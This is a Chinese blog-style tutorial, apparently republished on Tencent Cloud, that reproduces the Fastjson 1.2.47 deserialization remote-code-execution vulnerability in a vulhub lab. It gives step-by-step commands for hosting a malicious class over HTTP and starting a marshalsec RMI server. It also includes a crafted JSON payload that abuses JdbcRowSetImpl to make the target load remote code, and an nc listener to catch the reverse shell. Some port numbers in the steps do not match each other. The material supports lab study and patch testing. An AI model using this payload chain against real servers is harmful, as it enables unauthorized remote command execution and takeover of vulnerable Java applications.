前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Fastjson 1.2.47 远程命令执行漏洞

Fastjson 1.2.47 远程命令执行漏洞

作者头像
黑白天安全
发布2021-06-16 16:59:23
2.1K0
发布2021-06-16 16:59:23
举报

漏洞原理

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

影响环境

Fastjson 1.2.48以前版本

漏洞复现

环境使用的是docker+vulhub的环境搭建的

步骤:

代码语言:javascript
复制
1.Exploit.exp需要进行javac编译
2.所有用的工具和编译后的包要在同一目录,然后在该目录启动http服务和启动一个RMI服务器,监听9999端。其中RMI服务marshalsec.jndi.RMIRefServer 是需要jdk1.8版本的。(其中Exp下载地址里边已经有编译好的marshalsec-0.0.3-SNAPSHOT-all.jar,就不用下载meavn对marshalsec进行打包,能省去很长的时间)
3.发送构造好的请求包,nc监听得到反弹shell

Exp 下载地址 :

代码语言:javascript
复制
https://github.com/CaijiOrz/fastjson-1.2.47-RCE

下载好会有三个文件,其中Exploit.java只是一段反弹shell的代码,需要修改为攻击机的ip和端口

然后来到jdk的bin目录下使用javac进行编译,编译成class文件,得到Exploit.class

代码语言:javascript
复制
javac Exploit.java

把编译好的Exploit.class文件和 marshalsec-0.0.3-SNAPSHOT-all.jar放置同一个目录下,然后发送至攻击机,然后在攻击机的Exploit.class目录下使用python开启站点

代码语言:javascript
复制
python -m SimpleHTTPServer  1111
yout-ip/TouchFile.class        //访问站点

然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class 安装marshalsec,同时mvn也是需要安装的

代码语言:javascript
复制
安装mvn
官网下载压缩包 http://maven.apache.org/download.cgi
配置环境变量
vi /etc/profile
export MAVEN_HOME=/var/local/apache-maven-3.6.2
export MAVEN_HOME
export PATH=$PATH:$MAVEN_HOME/bin
编辑之后使用source /etc/profile命令使改动生效。
在任意路径下执行mvn -version验证命令是否有效

安装和使用marshalsec

代码语言:javascript
复制
git clone https://github.com/mbechler/marshalsec.git 
cd marshalsec 
mvn clean package -DskipTests

装好mvn后运行 (若使用mvn时提示命令找不到,可以使用source /etc/profile 更新一下环境变量)

代码语言:javascript
复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip:1234/#TouchFile" 9999

构造exp请求包,并多开端口进行nc监听8888

代码语言:javascript
复制
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.10.144:9999/Exploit",
        "autoCommit":true
    }
}

构造好的请求包发送如下,注意Content-type格式要json,并且是post请求。

发送请求包后可以看到向指定ip加载远程类TouchFile.class

然后攻击机就能收到反弹回来的shell了

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档